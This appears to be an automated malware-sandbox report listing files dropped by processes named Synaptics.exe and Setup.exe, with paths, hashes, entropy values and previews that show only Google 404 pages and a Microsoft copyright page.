Size (bytes):	1652
Entropy (8bit):	5.239501008666114
Encrypted:	false
SSDEEP:	24:GgsF+0QSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	2BF5FA639EB2786222A45637DDD7836C
SHA1:	21E0D9A0A11D75B177552E97F7F5DC28BD5DC0D3
SHA-256:	CBC927B069555FFD076C05CAD4798F562AF8C03D6DA91438AAA4DBB5CDDE6AF1
SHA-512:	D75C6741C66A8D3BFA6A3F79EDE5228EC58B3DF460E18E5E0AB88A213DE709B44A470FC29A6E66DD36870527D2FAC41E6897880467BD7ADED185F9B1E0959371
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0tS8m7r2Udpl0dKt5niGzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4efvLzx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253059363712217
Encrypted:	false
SSDEEP:	24:GgsF+0jzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Yz+pAZewRDK4mW
MD5:	11821AF6D5B0B0B42E028050DD535635
SHA1:	E9B37724A69EBAE1FB1E507A050E102CAA37E0C9
SHA-256:	690084F4D650F5B9A835CD1D853A44FC46AB8DC5A3B4B2DC5A557019AED48504
SHA-512:	B517ED1E23135325939E1B276F5B32987D0567C36B4B41B436FEB9FD0A8AA6C0287544CDD5A0278629F65D106C108F0AA1CC8E89AB93105C96D237DB2978301E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="szsQNL5FyuSxWsP-wibTeg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5G7cgsB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265101220616923
Encrypted:	false
SSDEEP:	24:GgsF+04SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r+pAZewRDK4mW
MD5:	DF7C13394DE09DB939902B071ECF52DE
SHA1:	C1875D4DF7A0FAB3AFD48F0A988ADE1569CBE399
SHA-256:	5EE978ED29D1B88F3DC1809E1B4F4503EB637A45759E1E51F7B11645F6F855B5
SHA-512:	730E14138C5DCB80740A6AB90FC9DBB3C2A47078F297BA211A5B79A18B30297D05E6CFC6BE2EAD5A52EA894C6A35EAF22FA5C3D9D7BAC41E7426E754D582199B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ioHYXWkrMwnMe9mqkKPjpQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5GoPcQv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2623432607256735
Encrypted:	false
SSDEEP:	24:GgsF+08qHqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0HqI+pAZewRDK4mW
MD5:	5FE73AB1C17762AF662EA7C741AD366D
SHA1:	286D4CEF70F358A4EC602F79079E0D4B7E634355
SHA-256:	BF7B445F93B673AB25AE68A111A68C7B96650C2C62C37F28F5E7D942DD2A6446
SHA-512:	45FC843DC955CDD1A9B157303E0C6C7AD1BA3C8D9B7B1415DFE3B4B75F38739A7F36C28D409AAFB1136F5D8E489CBBFB6A67B3341B0BCC3314FB28A8F2AC47AC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YSackhOMX9KtfozeiwQuNA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5KJMXP3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269222460234289
Encrypted:	false
SSDEEP:	24:GgsF+0GgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Tg+pAZewRDK4mW
MD5:	8BD7DB0CA1852FD809956E6D8146C7C0
SHA1:	C4FB53FF0F8D9DA9EE0275872C0D09F276D71A6E
SHA-256:	DF5E768268938E601A48454F1328C85E09F77BEBF36DB1471EA4AB80C74A58E7
SHA-512:	167EF6AAAD2E352ED5AEB9A0DAA7EC5D5711AB664DFFDB1297DC1CB0BA477E2FA4DCE573A99759E89FDA0344461376D48F2B8B5141C7D0B9BE5F126E4E256B01
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7vm4TcMCPtvIxb6wMJUXHw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5wuDjsS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2555620575046476
Encrypted:	false
SSDEEP:	24:GgsF+0SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+d+pAZewRDK4mW
MD5:	7C453115FDF721B88697AA03CB6D5B36
SHA1:	65A614EC83CC2B7DED7D5ADF48349A676FD1C749
SHA-256:	FAF557AAE7BC90A0954717B80D2D120895A1BACCCB7B740A63D42F5BA53C9086
SHA-512:	BA08A3CAA7CBE8A090760833D46F0E8370AE1826F58355111B712D65B7D3EC4142E874F3B72343670093F4AD8E2418C4F7C1362B6A985F620F9ED6F947CCC3F3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ouimtxd-ZgGLizCYhRGNGw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6LkY7Br.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2651839672627805
Encrypted:	false
SSDEEP:	24:GgsF+0QOWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1OW+pAZewRDK4mW
MD5:	CB81CB0146FB8345F215DA7D02F4766F
SHA1:	DC18EB82650ED04CE197A4910CA11C31B30C4EAC
SHA-256:	A0249FA3CADE96A5D7AADED40A9E4DD43AD1E7BE25BBAC0E977FF86CE2904D00
SHA-512:	8DD5DE739418E2261EC3576FADAC8673B2560CC4F99534B8112384C28E19A30D3160E228943A791612770F730A3954F1B818DDE20BE913EE73ACC5AE11B5EBD7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OCEPhg3RHVM1sgm5wLXo-Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6hCt2oR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255120626943478
Encrypted:	false
SSDEEP:	24:GgsF+036SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G6+pAZewRDK4mW
MD5:	8C9C26F51DAC9F972D7931E4226EA49C
SHA1:	BC2FE37F4F7575B8E03EE20806D836B869CB89CA
SHA-256:	7BF4F9351D5A34A9D6502277DA70692123A6C796D05061A3AE3DCA1FC37D7DE9
SHA-512:	4C49FC2F86BEC28832DD3626AA3646D6DF2D3D8CC48EEC163E6A0FA608860B1D882756F76CD4DAC9F6201A68F6FBAF98E639D29C4187E263913E6B23972F4B3C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iqj2YguP2yq8MvqMpognLw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8G1DtGr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262181928115323
Encrypted:	false
SSDEEP:	24:GgsF+0Xr7eSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+yr7e+pAZewRDK4mW
MD5:	33DA394E4D9A86B1C5FA618DBC988915
SHA1:	6232CF3E79448D9CECCCE5F1670EC18D3BF037B6
SHA-256:	816A282D344ED82263381FAD369492E9B5E4B049F6E4810C95171211E29B4904
SHA-512:	5EEE3CF4D3E204C067A3E50423BACE1AE6DEDF6243EF9AE67447DA0C20ECE2E85807165605DBC2B863F0F6B53BB6B34E6D35FD88C137286FFAF70A0965E685D8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-Pz7N53Zzo9lVNyOuWV1ow">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BVog7PB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254220355445165
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	72C9BA0CA3D21871A0F998871F8CB5BC
SHA1:	CFB984715C03DEED0E0C821BBD1228FF6AE8F4C2
SHA-256:	F1E87ECBD9BDE6C9BFFB228894832C61AF7389CA0ED18A412EB0E0CC166C8E07
SHA-512:	74AF1FDCA3E2E00F61F4EE020C988DB1627B628AC3DEB49FFBC83EBB1EBF1CB10BEC52C039FD1A1221843AE598A810804CCD4C9AEC3E436959E0B73439B3EBF9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1_cU6Tf_Zf1oCuqXsmcq0w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ByySPxa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256761159536325
Encrypted:	false
SSDEEP:	24:GgsF+0kbDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	D9761BE8A5AC863E4C9B5585ADE2C590
SHA1:	0C2D8F1BC89C0118DD991C44CE0F0F6C768FC2E0
SHA-256:	D45C0F9C5729FF45C704B19DFD4ACCBE9C04F9DBCFE40DBA7187FE69770396A7
SHA-512:	B02A2678BB91F6C9DB7AD2B008D4A7A56AFC4324CE2956A82A932A15EBDA11AD76C1A1D14AD89198DA8E0DCDC48B31FE6069893DDD20EE4F7CD835F1B1CCEF90
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bkuoW5aH4BectVZFjwny4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HFI2E3E.tmp.html

Download File

Process:	C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
File Type:	HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	16118
Entropy (8bit):	3.6434775915277604
Encrypted:	false
SSDEEP:	192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
MD5:	CD131D41791A543CC6F6ED1EA5BD257C
SHA1:	F42A2708A0B42A13530D26515274D1FCDBFE8490
SHA-256:	E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
SHA-512:	A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
Malicious:	false
Preview:	..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

C:\Users\user\AppData\Local\Temp\HFI92E.tmp.html

Download File

Process:	C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
File Type:	HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	16118
Entropy (8bit):	3.6434775915277604
Encrypted:	false
SSDEEP:	192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
MD5:	CD131D41791A543CC6F6ED1EA5BD257C
SHA1:	F42A2708A0B42A13530D26515274D1FCDBFE8490
SHA-256:	E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
SHA-512:	A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
Malicious:	false
Preview:	..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

C:\Users\user\AppData\Local\Temp\HyK5ol8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260447060091902
Encrypted:	false
SSDEEP:	24:GgsF+0UufSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W+pAZewRDK4mW
MD5:	3018ABDC8521D274F0B88997B66C7AAA
SHA1:	3B68C6CF8ED52964617BA96843BDFDA221BF4D93
SHA-256:	D1CF06701E60B5F7E393070F15ADFB4ABCAA2D6C9B7D18DD042FEB95C6B0B140
SHA-512:	C0961715226DF19ABC5108D1E5699FF36F79C978D54401311BE896D294C1D7FE6092BA6FBEA2DE17851CD5E936BB1FF544F4656BBA7AED2FE3F2C4120AEFD8A7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kfVBeSjy0dvT4Flj1fNhhA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IQjqBFu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254484489293086
Encrypted:	false
SSDEEP:	24:GgsF+0OqSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	244561A88AF7B99CAAA738F850CD5261
SHA1:	98674DB30213D5E949838129C32A494E56B17B8E
SHA-256:	04635F85685E7F90B510F722795A09BF7B16ACC4D4C5C9B29EC7399DAC839DED
SHA-512:	BD52F9C371AA5979336F94A85EC3BEF3DCC952C3D9AF491A0271E3ECF6E9B90D26BB7E4EF8A3C99EC23C622239383BE90D986839E4A04F52CD4AB74B8F3CE293
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wmb4qu6gGBpmT3TstaQEuA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IT1lpFB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265705514224978
Encrypted:	false
SSDEEP:	24:GgsF+05zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+2+pAZewRDK4mW
MD5:	827B101A43989ADA8D07EEDD247B9333
SHA1:	F6EA8C8A63C64393804184249FDE22AE10FA7E5F
SHA-256:	6BC19FEA0CB05C07A102BD2F495301C6E31454010029B002337C6B0828CD2CD9
SHA-512:	885A1FA4FD234A2AC9BD3887FA1984350B31BCE054D1D86082752D292B858A92B99218B35CEBB09AEB467B29C2B4AA4B24130BD88CB93F6CF4F7C73927154C57
Malicious:	false
